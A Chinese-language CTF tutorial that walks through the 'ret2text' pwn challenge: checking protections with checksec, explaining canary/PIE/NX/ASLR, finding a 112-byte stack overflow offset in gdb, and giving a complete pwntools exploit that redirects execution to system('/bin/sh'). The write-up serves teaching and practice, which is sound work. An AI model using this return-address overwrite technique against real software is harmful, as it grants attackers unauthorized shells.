ret2text

       
-------------已经到底啦!-------------
 

检查保护机制

1
checksec ret2text
1
2
3
4
5
6
7
8
9
Arch:    i386-32-little //文件为32位程序

RELRO: Partial RELRO

Stack: No canary found //未开启canary保护

NX: NX enabled //开启了栈不可执行保护

PIE: No PIE (0x8048000) //未开启地址无关可执行

22508867-848911d41f68e4a3.png

canary(栈保护)

当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变);
如果不合法就停止程序运行(栈溢出发生)。
攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

PIE

如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址

NX(DEP)

NX即No-eXecute(不可执行)的意思,限制一块内存区域不可执行。

ASLR

ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。

0x2

本题是32位程序,对应的是32的IDA。加载出来的是汇编语言,然后就要去看它的main函数按F5反汇编

22508867-2c22be6edd039812.png

栈溢出漏洞

简单讲,栈溢出就是向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,造成溢出。

==发生栈溢出的条件== 程序必须向栈上写入数据。写入的数据大小没有被良好地控制

==利用方式== 覆盖程序的返回地址为攻击者所控制的地址,比如该地址为执行shellcode的地址shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,可以让攻击者获得shell,利用pwntools可自动生成,等用到再说。可能造成栈溢出的函数。

==可能造成栈溢出的函数有== gets,scanf,vscanf,sprintf,strcpy,strcat,bcopy

0x3

继续浏览其他函数的伪代码。发现secure函数中调用了system(“/bin/sh”)
我们只需要想办法执行这system(“/bin/sh”)从而拿到我们想要的shell。

22508867-4978445eded254f2.png

我们现在大概确定了栈溢出漏洞,我们首先要知道这个漏洞到底有多深,然后我们了解了这个漏洞的深度把东西填装进去让他覆盖到这个system(“/bin/sh”)这个地址我们就可以得到shell了。

那如何确定这个偏移量和这个地址呢?

step1

利用gdb进行调试看它的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

gdb -q ./ret2text

//gdb载入该文件

pattern create 200

//制造200个填充字符(多少字符都行),先把他复制下来

r

//运行程序

pattern offset 地址

//确定偏移

22508867-ef5ed1b8bd807dd4.png

22508867-fdfe76ec3c0ba50d.PNG

计算的偏移量为112,下面找到system(“/bin/sh”)地址就可以构造exp了,
那么我们看IDA在secure中调用system(“/bin/sh”)的地址

22508867-0252408325f50505.png

==exp如下==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

from pwn import*

//导入python库

p = process("./ret2text")

//与文件建立本地连接,远程连接用r = remote('ip',端口)

payload = 'a'*112 + p32(0x804863A)

//p32()将其打包,64位用p64()

p.sendline(payload)

//发送payload

p.interactive()

//直接进行交互,相当于回到shell的模式,在取得shell之后使用

执行exp

22508867-d06a7cdcfdeb9781.png